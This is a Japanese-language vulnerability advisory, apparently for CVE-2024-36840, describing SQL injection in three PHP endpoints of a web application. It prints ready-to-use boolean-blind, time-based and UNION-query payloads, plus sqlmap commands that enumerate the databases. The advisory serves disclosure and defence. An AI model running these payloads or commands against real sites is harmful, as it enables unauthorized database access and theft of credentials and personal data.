影響を受けるパラメータとエクスプロイトの詳細:

1. パラメータ: id (GET)

   • タイプ: ブールベースのブラインド
   • ペイロード: id=10071 AND 4036=4036

2. タイプ: 時間ベースのブラインド

   • ペイロード: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

3. タイプ: UNIONクエリ

   • ペイロード: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,...

脆弱なエンドポイント

1. news_details.php?id

   • 例: https://www.example.com/news_details.php?id=10071
   • 悪用方法:
     root@kitploit:~

     sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs
     

2. services.php?section

   • 例: https://www.example.com/services.php?section=5081
   • 悪用方法:
     root@kitploit:~

     sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs
     

3. location_details.php?id

   • 例: https://www.example.com/location_details.php?id=836
   • 悪用方法:
     root@kitploit:~

     sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs
     

影響

• 不正なデータベースアクセス: 悪用によりデータベースへの不正アクセスが可能となり、攻撃者が機密情報を抽出できる可能性があります。
• データ漏洩: 管理者認証情報、ユーザーの個人情報、購入履歴などの機密データが侵害される可能性があります。
• アカウント乗っ取り: 攻撃者がユーザーアカウントを乗っ取る可能性があります。
• 完全な制御: 影響を受けるアプリケーションの完全な制御が可能となり、深刻なセキュリティ上の影響が生じます。

クレジット

• 発見者: CBKB (DeadlyData, R4d1x)

参考情報

• CyberDepot脆弱性レポート
• CVE-2024-36840